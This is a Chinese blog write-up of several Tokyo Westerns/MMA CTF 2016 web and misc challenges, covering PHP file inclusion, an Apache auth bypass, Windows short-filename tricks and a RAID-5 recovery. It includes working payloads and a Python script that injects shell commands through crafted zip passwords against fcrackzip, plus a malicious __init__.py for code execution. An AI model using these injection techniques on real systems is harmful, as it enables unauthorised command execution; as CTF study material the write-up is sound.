参加 Tokyo Westerns / MMA CTF 2nd 2016 经验与感悟 TWCTF 2016 WriteUp
洒家近期参加了 Tokyo Westerns / MMA CTF 2nd 2016(TWCTF) 比赛,不得不说国际赛的玩法比国内赛更有玩头,有的题给洒家一种一看就知道怎么做,但是做出来还需要洒家拍一下脑瓜的感觉。总之很多题还是很有趣的,适合研究学习一番。
以下是洒家做出来的几道小题,类型仅限Web和Misc,给各位看官参考。
关于:
T3JpZ2luYWwgQXJ0aWNsZTogd3d3LmNuYmxvZ3MuY29tL2dvMmJlZC8
Global Page
Warning: include(tokyo/zh-CN.php): failed to open stream: No such file or directory in /var/www/globalpage/index.php on line 41
Warning: include(): Failed opening 'ctf/zh-CN.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/globalpage/index.php on line 41
这就说明 http://globalpage.chal.ctf.westerns.tokyo/?page=ctf 中$_GET['page'] 代表目录,Accept-Language中的语言代表目录下的文件名部分。
直接访问/flag.php 和 用 /?page=ctf Accept-Language: ../flag 并没有输出。
进一步探测: /?page=to.k/yo 仍然正常显示,说明$_GET['page']删除了 . / 符号,并自动在末尾添加 / 。
经过一番尝试,洒家突然发现报错信息里面include()路径开始部分并没有其他东西,那么就可以使用php://协议读取源码。
base64解码即可。
同样的方法,当然可以读取index.php 的源码
<?php
ini_set('display_errors', 1);
include "flag.php";
?>
<!doctype html>
<html>
<head>
<meta charset=utf-8>
<title>Global Page</title>
<style>
.rtl {
direction: rtl;
}
</style>
</head> <body>
<?php
$dir = "";
if(isset($_GET['page'])) {
$dir = str_replace(['.', '/'], '', $_GET['page']);
} if(empty($dir)) {
?>
<ul>
<li><a href="/?page=tokyo">Tokyo</a></li>
<li><del>Westerns</del></li>
<li><a href="/?page=ctf">CTF</a></li>
</ul>
<?php
}
else {
foreach(explode(",", $_SERVER['HTTP_ACCEPT_LANGUAGE']) as $lang) {
$l = trim(explode(";", $lang)[0]);
?>
<p<?=($l==='he')?" class=rtl":""?>>
<?php
include "$dir/$l.php";
?>
</p>
<?php
}
}
?>
</body>
</html>
Rescue Data 1: deadnas
Problem
Today, our 3-disk NAS has failed. Please recover flag.
deadnas.7z
Hint 1: The NAS used RAID.
Hint 2: RAID-5
crashed :-(
刚开始没有正确理解题意,洒家以为Disk1完全没有用,因为Disk0和Disk2不一样,认为Disk0和Disk2两个磁盘组成了Raid0之类的东西。直接把两个镜像合并到一起恢复数据无果。后来给了两个Hint,RAID-5,洒家瞬间明白了有3个磁盘,Disk1坏了所以没有显示(衰)
洒家一开始尝试了多种RAID-5类型和块大小,后来发现瞎JB试也不行,直接十六进制查看器看数据块在多小尺度上有明显边界。
如下图所示,3FF0 到 4000 之间有明显边界,说明块大小最大为0x4000 / 1024 = 16K。一开始洒家尝试的512K是明显错误的。而最终的块大小为512B,这一点当然可能也可以从16进制编辑器中看出来。
洒家最后贴张flag:
Get the admin password!
哟呵,还真是MongoDB。
需要密码,那就用个二分法。代码太丑洒家就不贴了,效果如图:
Poems
Problem
Read the first poem.
http://poems.chal.ctf.westerns.tokyo
Server: Ubuntu 16.04 + Apache2
Hint1:(2016-09-04 11:05 UTC)
- Password cracking is unnecessary.
Hint2:(2016-09-04 17:02 UTC)
- You can access to admin page without user id or password.
这题很有趣,在没放hint的时候就做出来了,洒家感到贼开心。主要用到了Apache的htpasswd绕过,URL重写等。一开始洒家找到了一个任意文件(除了最关键的list.txt)读取漏洞,后来发现完全走了弯路。
题目给了源码,又是喜闻乐见的Slim框架。主要后端逻辑在/src/routes.php。
主要的保存用户发送的Poem逻辑是:
发送的name和poem被json_encode() 储存在/poems/data/中,文件名为随机的16进制的文件中。文件名集中储存在/poems/list.txt。题目目标是读取第一篇Poem。由于文件名不可预知,必须先读取list.txt。
另外含有 /admin,PHP代码中没有任何防护 ,但是实际访问的时候要求密码。这是在Apache中设置的。
check_poem_id()保证了无法通过 GET /poems?p=../list.txt 读取 list.txt。然而上图中除了check_poem_id()并没有对 $poem_id进行其他的检验,因此可以读取任意其他文件(不能是json格式,否则会被当作poem文件解析显示):
读取 /etc/passwd
想到上文所述/admin密码问题,读取/etc/apache2/sites-enabled/000-default.conf
读取 /etc/apache2/htpasswd ,admin密码是MD5加盐的,尝试破解了很长时间最终也是难度太高破解失败。
洒家这是开始考虑绕过/admin 的密码。
思考一番后,突然想到.htaccess URL重写,豁然开朗。
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^ index.php [QSA,L]
之间洒家直接访问 /index.php/admin, 即可达到访问 /admin 的效果,同时绕过Apache的密码
出现flag:
最后看来,这道题源码中显而易见的任意文件读取漏洞的发展方向是无底洞,让洒家走了不少弯路,最终的解法竟然这么简单。
Rotten Uploader
Problem
Find the secret file.
http://rup.chal.ctf.westerns.tokyo/
Hint1 (2016/09/04 16:31)
- The files/directories on the DOCUMENT_ROOT are below four.
- download.php
- file_list.php
- index.php
- uploads(directory)
- The number of files in the DOCUMENT_ROOT/uploads is 5. The directory have "index.html".
- You don't need scan tools.
这一题文件给的清清楚楚,显然/uploads/里面有个文件名无法预知的文件包含flag。download.php 可以下载任意文件(除了file_list.php)。那么就下载一堆东西:
download.php
<?php
header("Content-Type: application/octet-stream");
if(stripos($_GET['f'], 'file_list') !== FALSE) die();
readfile('uploads/' . $_GET['f']); // safe_dir is enabled.
?>
第三行大小写不敏感地过滤,无法下载包含'file_list'的文件。
读取index.php,发现flag文件的文件名就在file_list.php中。index.php显示了3个文件: test.cpp,test.c,test.rb。
代码非常简单,貌似坚不可摧。洒家尝试了一番无果。等等,大小写不敏感,为什么要用stripos()?
大小写真的不敏感。原来是个Windows系统。坚不可摧的代码还是有漏洞。
洒家使用兼容MS-DOS的8.3短文件名绕过。
答案就很明显了。
2016年9月18日更新
洒家看老外的Writeup,发现了一种奇技淫巧的解法:
GET /download.php?f=F< HTTP/1.1
这样可以直接下载f/F开头无扩展名的文件。
实验发现,在Windows系统中, < 符号可以代替扩展名的一部分,如果没有扩展名(没有 . )就可以代替全部。
例如此目录下有 index.php
D:\www\test>type "index<"
系统找不到指定的文件。 D:\www\test>type "index<"
系统找不到指定的文件。 D:\www\test>type "index.<"
<?php
readfile('./FL<'); D:\www\test>type "index.p<"
<?php
readfile('./FL<'); D:\www\test>type "index.php<"
<?php
readfile('./FL<'); D:\www\test>type "index.php<<<"
<?php
readfile('./FL<');
然而网上搜不到关于这个的玩法。真是奇技淫巧。
glance
Problem
I saw this through a gap of the door on a train.
洒家看见这题就乐了,题目挺有想法的。直接MATLAB提取所有图片帧,然后洒家的做法是写个HTML放满<img>标签(懒得再编程了)
————————————
2016年9月16日更新:洒家忙了一阵子乱七八糟的东西,继续研究没做出来的题目
ZIP Cracker
Problem
here is useful tool for hackers!
http://zipcracker.chal.ctf.westerns.tokyo/
这一题洒家一看就是命令注入,然而搞了半天也没有注入成功。看了老外的Writeup(https://gist.github.com/baronpig/f6f2a4db993e951cde9ee92db15fc953 ,https://blog.0daylabs.com/2016/09/05/command-injection-zip-bruteforce/)才豁然开朗:当勾选use unzip时,fcrackzip-1.0猜测的可能的压缩密码才参与命令注入。洒家一直尝试的是把命令注入的恶意代码放到字典里,然而大概fcrackzip-1.0的原理并不是一个一个暴力破解,恶意代码不被猜测为可能的密码就不会发生命令注入。
洒家犯的第二个错误是,index.php 存在源码泄露(.index.php.swp)(好吧,说好的不用扫描器)。洒家是Google了返回的字符串(Possible password: paSSw0rd () 和 Password Found ! pw ==p@ssw0rd)才意识到这不是用unzip暴力破解,而是用了fcrackzip-1.0。
洒家走的一个弯路是:洒家在文件名上做了很多文章,然而命令用的是 tmp_name,此处并不能注入。
用vim recovery .index.php.swp之后,主要部分的代码如下:
<?php
if(!empty($_FILES['zip']['tmp_name']) and !empty($_FILES['dict']['tmp_name'])) {
if(max($_FILES['zip']['size'], $_FILES['dict']['size']) <= 1024*1024) {
// Do you remember 430387 ?
$zip = $_FILES['zip']['tmp_name'];
$dict = $_FILES['dict']['tmp_name']; $option = "-D -p $dict";
if(isset($_POST['unzip'])) {
$option = "-u ".$option;
} $cmd = "timeout 3 ./fcrackzip-1.0/fcrackzip $option $zip";
$res = shell_exec($cmd);
}
else {
$res = 'file is too large.';
}
}
else {
$res = 'file is missing';
}
?>
上文提到的韩国博客中找到了fcrackzip 的源码:
// main.c
int REGPARAM
check_unzip (const char *pw)
{
char buff[];
int status; sprintf (buff, "unzip -qqtP \"%s\" %s " DEVNULL, pw, file_path[]);
status = system (buff); #undef REDIR if (status == EXIT_SUCCESS)
{
printf("\n\nPASSWORD FOUND!!!!: pw == %s\n", pw);
exit (EXIT_SUCCESS);
} return !status;
}
可见漏洞发生在对 fcrackzip 使用 -u 参数时,fcrackzip 会调用 unzip 验证可能的密码,验证时直接拼接shell命令字符串造成命令注入。
由此洒家构造一个密码为 ";ls;echo" 的 zip文件,勾选unzip 结果为:
第一个unzip 缺少了文件名参数所以显示了错误信息。
那么搞一个密码为 ";cat flag.php;# 的zip,结果如下
得到flag: TWCTF{20-bug-430387-cannot-deal-files-with-special-chars.patch:escape_pw}
对了,前面PHP源码提到的430387指的是 https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=430387;msg=19
Debian Bug report logs - #430387
[PATCH] `fcrackzip --use-unzip' cannot deal with file names containing a single quote
洒家改了改 https://blog.0daylabs.com/2016/09/05/command-injection-zip-bruteforce/ 中的脚本,做了个“终端”:
import requests
import json
import subprocess
import os
import re def delTmpFiles():
try:
os.remove('zipped.zip')
os.remove('dict.txt')
except OSError:
pass def postCmd(cmd):
password = '";'+cmd+';#' # password of zip file
zipfilename = 'zipfile.zip' #the zip name that gets posted
dictfilename = 'dictionary.txt' #the dict name that gets posted
dictfilecontents = """password1\npassword12\npassword123\n"""+password+"""\n1\n""" #dictionary file contents
unzip = True
#print password
#print dictfilecontents
#password = 'password1'
#zips the random.txt file with password into zipped.zip
subprocess.call(['zip', '--password', password, 'zipped.zip', 'random.txt','-q']) dictfile = open('dict.txt', 'wb')
dictfile.write(dictfilecontents)
dictfile.close() url = "http://zipcracker.chal.ctf.westerns.tokyo/"
multiple_files = [
('zip', (zipfilename, open('zipped.zip', 'rb'), 'application/x-zip-compressed')),
('dict', (dictfilename, open('dict.txt', 'rb'), 'text/plain'))
] data = {}
if unzip:
data['unzip'] = 'on'
r = requests.post(url, files=multiple_files, data=data)
#print r.text
return r.text
def getOutput(html):
pattern = re.compile(r'if archive file newer\s*(.*?)\s*PASSWORD FOUND!!!!: pw',re.S)
result = pattern.findall(html)
if len(result) == 1:
return result[0]
else:
print 'fail. Original html: '
print html
return '' def main():
with open('random.txt','wb') as f:
f.write('abcdefg')
cmd = raw_input('>>> ')
while cmd != '':
print getOutput(postCmd(cmd))
delTmpFiles()
cmd = raw_input('>>> ')
os.remove('random.txt') if __name__ == '__main__':
main()
Tsurai Web
2016年9月18日更新:洒家忙了一阵子乱七八糟的东西,继续研究没做出来的题目
本题参考资料: https://blog.0daylabs.com/2016/09/05/code-execution-python-import-mmactf-300/
漏洞成因
洒家研究了半天也没发现漏洞,直到看了老外的博客才恍然大悟:
__import__ 函数的顺序问题。
如果 有 /aabb/__init__.py 和 /aabb.py, __import__('aabb') 会优先去搜索并包含前者。
因此上传 一个 __init__.py (前端验证限制文件类型,轻松绕过)到 md5(用户名) 目录,当
config = __import__(h(session.get('username')))
时就会执行任意Python命令。由于 import 时需要 imgs 列表,老外的做法是:
x = __import__("subprocess")
imgs = []
imgs.append(x.check_output('cat flag', shell=True))
当然洒家也可以这样搞:
imgs = []
fflag = open('flag','rb').read()
imgs.append(fflag)
效果是只剩下一张图片,文件名就是flag。
参加 Tokyo Westerns / MMA CTF 2nd 2016 经验与感悟 TWCTF 2016 WriteUp的更多相关文章
- MMA CTF 2nd 2016-greeting
目录 MMA CTF 2nd 2016-greeting 总结 题目分析 checksec 函数分析 漏洞点 知识点 利用思路 EXP 完整Exp MMA CTF 2nd 2016-greeting ...
- mma ctf 1st && csaw 2015
(很久以前做的,现在发一下)最近做了两个CTF,水平太渣,做了没几道题,挑几个自己做的记录一下. mma ctf 1st 之 rps: from socket import * s = socket( ...
- 2016湖南省赛--A题--2016
2016 [TOC] Description 给出正整数 n 和 m,统计满足以下条件的正整数对 (a,b) 的数量: 1. 1≤a≤n,1≤b≤m; 2. a×b 是 2016 的倍数. Input ...
- 从Java小白到收获BAT等offer,分享我这两年的经验和感悟
微信公众号[程序员江湖] 作者黄小斜,斜杠青年,某985硕士,阿里 Java 研发工程师,于 2018 年秋招拿到 BAT 头条.网易.滴滴等 8 个大厂 offer,目前致力于分享这几年的学习经验. ...
- 从技术小白到收获BAT研发offer,分享我的学习经验和感悟(赠送相关学习资料)
去年秋季参加了校园招聘,有幸拿到了BAT.头条.网易.滴滴.亚马逊.华为等offer,经过研究生两年的学习积累,终于达成了自己的目标,期间也经历了很多,谨以此文,聊表感叹,也会分享很多我的Java学习 ...
- 97-2016年11月1日AUDUSD在公布利率后反手做单感悟(2016.11.2)
2016年11月1日AUDUSD在公布利率后反手做单感悟 11月1日,澳联储公布利率决议,保持利率不变,AUDUSD大涨.我在上面做空认为市场会回调.做空位置是根据多种斐波那契技术找的 ...
- C#编程普通型计算器 经验与感悟
先贴图: 这是用C# 语言编写的普通型计算器,功能基本模仿Windows8自带计算器程序(版本6.3,内部版本9600).支持加.减.乘.除.退格.清除.平方根.倒数.相反数.连续四则.连续等号.自动 ...
- 关于在真实物理机器上用cloudermanger或ambari搭建大数据集群注意事项总结、经验和感悟心得(图文详解)
写在前面的话 (1) 最近一段时间,因担任我团队实验室的大数据环境集群真实物理机器工作,至此,本人秉持负责.认真和细心的态度,先分别在虚拟机上模拟搭建ambari(基于CentOS6.5版本)和clo ...
- Mac安装Ubuntu18.04双系统经验以及感悟
1.扯一会 提到Mac很多人估计会觉得高大上,其实我也是这么认为的,因为我在13年之前用的不是Mac 而是普通的笔记本,总幻想着拥有一台Mac,当然了这个愿望在13年10月份左右就实现了 Mac最大的 ...
随机推荐
- Java新集合示意图
Java的新集合实际上只有3个集合组件:①Map ②List ③Set 在Java 1.2后应该尽量避免使用Hashtable,Vector 和Stack: 假如在一个列表中部进行大量的插入和删除操作 ...
- 定时任务服务 CronService使用说明
CronServiceInstaller.exe 部署安装程序 1.在打开该程序前务必设置为管理员运行 2.点击注册服务 3.检查服务是否开启,点击 services.msc, 打开系统服务列表 4 ...
- jQuery Panorama Viewer – 360度全景展示插件
jQuery Panorama Viewer 这款插件可以帮助你在网站中嵌入全景图片.要做到这一点,首先只需要在页面中引入最新的 jQuery 库,以及 jquery.panorama_viewer. ...
- html5的发展历程和由此引起的政治斗争
2007年,乔布斯断言拒绝Flash并预言HTML5时代来临,IT行业就对HTML5产生了一股宗教热情.HTML5有着许多出众的特性,可以直接在网页上绘图.嵌入音视频.实现信息互动,可以跨越iOS.A ...
- “破解大牛是怎么炼成的”之壳与ESP定律
文章难易度:★★★ 文章阅读点/知识点:逆向破解 文章作者:Sp4ce 文章来源:i春秋 关键字:网络 信息安全技术 本文参与i春秋社区原创文章奖励计划,未经许可禁止转载! 一.前言 通过前面几篇 ...
- Failed to push selection: Read-only file system的解决方法
1.获得root权限:adb root 2.设置/system为可读写:adb remount 3.将hosts文件复制到PC:adb pull /system/usr/keylayout/mtk-k ...
- Android jni helloworld
新建Android项目,设置布局: <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android& ...
- NSValue&NSNumber
void testForNSValue(void) { int i=10; // NSLog(@"encode(int)=%s",@encode(int)); // N ...
- NSFileManeger
#define PATH @"/Users/wenhua/testdir" // 删除, 复制 剪切 这些行为都是管理文件的行为 //创建文件 void createFile(v ...
- iOS开发--Swift 基于AFNetworking 3.0的网络请求封装
Swift和OC基于AFNetworking的网络请求流程相同, 就是语法不同, 对于Swift语法不是很清楚的同学, 建议多看看API文档, 自己多多尝试. 写过OC的应该都明白每句话做什么的, 就 ...